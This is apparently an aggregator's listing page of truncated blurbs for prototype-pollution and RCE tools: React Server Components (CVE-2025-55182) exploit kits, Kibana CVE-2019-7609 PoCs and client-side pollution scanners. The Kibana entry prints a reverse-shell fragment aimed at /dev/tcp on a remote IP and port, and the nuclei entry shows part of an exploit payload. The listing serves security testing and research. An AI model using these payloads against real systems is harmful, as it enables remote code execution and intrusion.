CVE-2025-55182

CVE-2025-55182 RCE Herramienta de comprobación de uso propio para verificar la vulnerabilidad CVE-2025-55182 Principio de la vulnerabilidad React Server Components presenta un defecto en el análisis de rutas al decodificar los payloads enviados al endpoint de la función del servidor. Utiliza el...

CVE-2025-55182

CVE-2025-55182.yaml PoC de CVE-2025-55182 nuclei -target url -t CVE-2025-55182.yaml Adaptado de nuclei-template Código principal: root@kitploit: "then":"$1:proto:then","status":"resolvedmodel","reason":-1,"value":""then":"$B1337"","response":"prefix":"var...

vue-template-compiler-patched

vue-template-compiler-patched A security-patched version of vue-template-compiler to fix the prototype pollution vulnerability CVE-2024-6783 and the ReDoS vulnerability CVE-2024-9506. Based on [email protected]. Development and issues live in vue-patched. Related If you use the Vue full buil...

CVE-2025-55182-golang-PoC

CVE-2025-55182 Ejecución Remota de Código en React Server Components - PoC en Go ⚠️ SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS ⚠️ Descripción CVE-2025-55182 también conocido como CVE-2025-66478 es una vulnerabilidad crítica de Ejecución Remota de Código en los Componentes del Servidor de React...

kibana-RCE

CVE-2019-7609 kibana-RCE & /dev/tcp/10.10.20.166/8989 0&1";process.exit//' .propslabel.proto.env.NODEOPTIONS='--require /proc/self/environ' 0x02 Haga clic en Canvas para obtener shell...

jspanda

JSPanda JSPanda es un escáner de vulnerabilidades de contaminación de prototipos del lado del cliente. Tiene dos características clave: escanear vulnerabilidades en las URLs proporcionadas y analizar el código fuente de las bibliotecas JavaScript. Sin embargo, JSPanda no puede detectar...

React2Shell-CVE-2025-55182-PoC-Reverse-Shell

🚀 React2Shell - CVE-2025–55182 Script de explotación 🔥 Introducción Este repositorio contiene un script de explotación para la vulnerabilidad React2Shell CVE-2025–55182, que ataca un tipo específico de Node.js Prototype Pollution que conduce a la ejecución remota de código RCE. El script está...

CVE-2021-23383

CVE-2021-23383 El paquete handlebars anterior a la versión 4.7.7 es vulnerable a Contaminación de Prototipos al seleccionar ciertas opciones de compilación para compilar plantillas provenientes de una fuente no confiable...

React2Shell-Toolbox

React2Shell Toolbox A security testing toolkit built with Electron + Vue 3, focused on React Server Actions vulnerability detection and exploitation. 中文文档 | English Overview React2Shell Toolbox is a security testing tool designed for Next.js React Server Actions prototype pollution vulnerability...

CVE-2026-34621

CVE-2026-34621 : Adobe Acrobat 2026 Prototype Pollution & JS Injection Chain — Research PoC Overview This repository contains research material and proof-of-concept code developed during the analysis of the 2026 Adobe Acrobat Reader in-the-wild exploit chain involving: Prototype Pollution Interna...

CVE-2019-7609

CVE-2019-7609 Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer https://nvd.nist.gov/vuln/detail/CVE-2019-7609 CVE-2019-7609 This vulnerability is a Prototype Pollution vulnerability found in Kibana. Exploiting this vulnerability can lead ...

React2Shell

🔐 React2Shell - Kit de RCE por Polución RSC de Next.js Este toolkit en Python explota la polución de prototipos de los React Server Components RSC de Next.js + la cadena de gadgets React.lazy-1 para obtener acceso completo de RCE, incluyendo un shell interactivo 'god shell', subida de archivos...

CVE-2019-7609

CVE-2019-7609 Kibana Vulnerabilidad que permite ejecución remota de código debido a una falla en el visualizador Timelion de Kibana Configuración del entorno docker 1. Ejecuta el archivo docker-compose.yml adjunto. root@kitploit: docker-comopse up -d 2. Accede a http://127.0.0.1:5601 desde el...

ppmap

ppmap Una herramienta sencilla de escaneo/explotación escrita en GO que explota automáticamente gadgets conocidos y existentes busca variables específicas en el contexto global para realizar XSS mediante Prototype Pollution. NOTA: El programa solo explota gadgets conocidos, pero no cubre análisis...

ppmap

ppmap A simple scanner/exploitation tool written in GO which automatically exploits known and existing gadgets checks for specific variables in the global context to perform XSS via Prototype Pollution. NOTE: The program only exploits known gadgets, but does not cover code analysis or any advance...

CVE-2018-16492

extend para Node.js node-extend es un puerto del clásico método extend de jQuery. Se comporta como se espera. Es simple, probado y verdadero. Notas: Desde Node.js = 4, Object.assign ahora ofrece la misma funcionalidad de forma nativa pero sin la opción de "copia profunda". Ver...

plution

plution Escáner de contaminación de prototipos usando Chrome headless Qué es esto Plution es una forma conveniente de escanear a gran escala páginas que son vulnerables a la contaminación de prototipos del lado del cliente mediante un payload en la URL. En la configuración predeterminada, usará u...

plution

plution Prototype pollution scanner using headless chrome What this is Plution is a convenient way to scan at scale for pages that are vulnerable to client side prototype pollution via a URL payload. In the default configuration, it will use a hardcoded payload that can detect 11 of the cases...

CVE-2022-24760

CVE-2022-24760 flujo Por defecto no se necesita clave para añadir, eliminar o modificar las clases en la base de datos. Diff commit https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d La contaminación de prototipos ocurre en la función...

CVE-2025-55182-poc

CVE-2025-55182 Prueba de concepto Ejecución remota de código crítica sin autenticación previa en React Server Components Una prueba de concepto completa que demuestra CVE-2025-55182, una vulnerabilidad crítica en [email protected] que permite a atacantes no autenticados ejecutar código...